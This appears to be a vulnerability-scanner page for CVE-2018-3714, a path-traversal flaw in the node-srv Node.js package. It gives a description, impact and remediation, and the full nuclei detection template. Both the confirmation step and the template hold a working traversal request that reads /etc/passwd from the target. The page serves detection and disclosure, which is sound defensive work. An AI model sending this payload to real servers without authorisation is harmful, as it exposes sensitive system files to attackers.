CVE-2018-3714· node-srv project / node-srv· CWE-22
node-srv - Local File Inclusion
mediumseverity
6.5CVSS score
8.6%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.
Impact
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
Fix
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application.
How to confirm it
Send: GET {{BaseURL}}/node_modules/../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2018-3714 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-3714
info:
name: node-srv - Local File Inclusion
author: madrobot
severity: medium
description: node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application.
reference:
- https://hackerone.com/reports/309124
- https://nvd.nist.gov/vuln/detail/CVE-2018-3714
- https://github.com/merlinepedra25/nuclei-templates
- https://github.com/sobinge/nuclei-templates
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2018-3714
cwe-id: CWE-22
epss-score: 0.08574
epss-percentile: 0.95116
cpe: cpe:2.3:a:node-srv_project:node-srv:*:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: node-srv_project
product: node-srv
framework: node.js
tags: cve,cve2018,nodejs,lfi,hackerone,node-srv_project,node.js,vuln
http:
- method: GET
path:
- "{{BaseURL}}/node_modules/../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://hackerone.com/reports/309124
- https://nvd.nist.gov/vuln/detail/CVE-2018-3714
- https://github.com/merlinepedra25/nuclei-templates
- https://github.com/sobinge/nuclei-templates
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from